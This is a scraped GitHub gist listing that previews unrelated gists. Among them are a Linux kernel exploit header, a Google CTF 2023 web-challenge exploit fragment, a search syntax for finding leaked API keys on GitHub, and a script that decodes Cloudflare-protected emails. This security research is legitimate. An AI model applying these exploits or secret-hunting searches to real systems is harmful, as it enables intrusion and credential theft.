Skip to content

Instantly share code, notes, and snippets.

View Siss3l's full-sized avatar
🦊

Sissel Siss3l

🦊
View GitHub Profile
@Washi1337
Washi1337 / TinySharp.cs
Last active January 5, 2025 18:55
A program to emit a tiny .NET binary program printing Hello World to the standard output. Blog post: https://blog.washi.dev/posts/tinysharp/
using System.Text;
using AsmResolver;
using AsmResolver.DotNet;
using AsmResolver.DotNet.Builder.Metadata.Blob;
using AsmResolver.DotNet.Builder.Metadata.Strings;
using AsmResolver.DotNet.Code.Cil;
using AsmResolver.DotNet.Signatures;
using AsmResolver.IO;
using AsmResolver.PE;
using AsmResolver.PE.DotNet.Builder;
@soez
soez / exp.c
Created July 2, 2023 21:23
No CVE for this https://lkml.org/lkml/2019/12/5/814 it has never been in the official kernel
/*
*
* Author: @javierprtd
* Date : 22-06-2023
* Kernel: 5.10.77
* Bug : https://lkml.org/lkml/2019/12/5/814
* Review: This bug has never been in the official kernel
* Post : https://soez.github.io/posts/no-cve-for-this.-It-has-never-been-in-the-official-kernel
*
*/
@arkark
arkark / README.md
Last active July 26, 2023 07:44
Google CTF 2023 - web/Biohazard
<body>
<script>
const sleep = (time) => new Promise((resolve) => setTimeout(resolve, time))
const frame = document.createElement('iframe');
frame.src = `https://sbx-hoge.postviewer2-web.2023.ctfcompetition.com/shim.html?o=${encodeURIComponent(location.origin)}`;
document.body.appendChild(frame);
const frame2 = document.createElement('iframe');
frame2.src = `https://sbx-hoge.postviewer2-web.2023.ctfcompetition.com/shim.html?o=${encodeURIComponent(location.origin)}`;
frame2.setAttribute('sandbox', 'allow-downloads allow-downloads-without-user-activation allow-forms allow-modals allow-orientation-lock allow-pointer-lock allow-popups allow-popups-to-escape-sandbox allow-presentation allow-same-origin allow-scripts allow-storage-access-by-user-activation allow-top-navigation allow-top-navigation-to-custom-protocols')
@neopunisher
neopunisher / bypass-cloudflare-email-protection.js
Last active December 31, 2024 00:19
How to circumvent Cloudflare's [email protected] thing, WITHOUT enabling Javascript
// Adapted from https://raddle.me/f/Privacy/3722/how-to-circumvent-cloudflare-s-email-protected-thing-without with the help of chatGPT
function fixObfuscatedEmails() {
const elements = document.getElementsByClassName('__cf_email__');
for (let i = 0; i < elements.length; i++) {
const element = elements[i];
const obfuscatedEmail = element.getAttribute('data-cfemail');
if (obfuscatedEmail) {
const decodedEmail = decrypt(obfuscatedEmail);
element.setAttribute('href', 'mailto:' + decodedEmail);
element.innerHTML = decodedEmail;

GitHub Search Syntax for Finding API Keys/Secrets/Tokens

As a security professional, it is important to conduct a thorough reconnaissance. With the increasing use of APIs nowadays, it has become paramount to keep access tokens and other API-related secrets secure in order to prevent leaks. However, despite technological advances, human error remains a factor, and many developers still unknowingly hardcode their API secrets into source code and commit them to public repositories. GitHub, being a widely popular platform for public code repositories, may inadvertently host such leaked secrets. To help identify these vulnerabilities, I have created a comprehensive search list using powerful search syntax that enables the search of thousands of leaked keys and secrets in a single search.

Search Syntax:

(path:*.{File_extension1} OR path:*.{File_extension-N}) AND ({Keyname1} OR {Keyname-N}) AND (({Signature/pattern1} OR {Signature/pattern-N}) AND ({PlatformTag1} OR {PlatformTag-N}))

Examples:

**1.

@0xdevalias
0xdevalias / reverse-engineering-webpack-apps.md
Last active May 2, 2025 19:53
Some notes and techniques for reverse engineering Webpack (and a little bit about React/Vue/Angular) apps
@adnanelhb
adnanelhb / does-chatgpt-have-a-criminal-mind.md
Created June 7, 2023 15:51
Exploring the Potential Impact of Large Language Models on Fraud Perpetration
@lleyton
lleyton / translation.md
Last active April 16, 2025 06:35
(ENG) Open Source Business Challenges and Reality, Rui Ueyama

Open Source Business Challenges and Reality

Original Japanese note here.

Original Author: Rui Ueyama (creator of the mold linker)

Translated by @windowsboy111

Minimally edited by @lleyton

@chapmanjacobd
chapmanjacobd / freed_up_one_terabyte.md
Last active June 11, 2023 11:03
How I freed up one TiB of space

How I freed up one TiB of space

I didn't realize just how much space those 24 Hour YouTube tracks take up. After hearing the same song on repeat I decided to check:

$ pip install xklb
$ lb fsadd --audio ~/lb/audio.db /mnt/d/81_New_Music/ /mnt/d/82_Audiobooks/
$ lb listen ~/lb/audio.db /81_New_Music/ --duration +3hr -p a
╒═══════════╀═════════╀═══════════════════════════════════════════╀═══════════════════════════╀══════════════════════════════════════════╀════════╀════════════╕
β”‚ path      β”‚   count β”‚ duration                                  β”‚ avg_duration              β”‚ cadence_adj_duration                     β”‚ size   β”‚ avg_size   β”‚

β•žβ•β•β•β•β•β•β•β•β•β•β•β•ͺ═════════β•ͺ═══════════════════════════════════════════β•ͺ═══════════════════════════β•ͺ══════════════════════════════════════════β•ͺ════════β•ͺ════════════║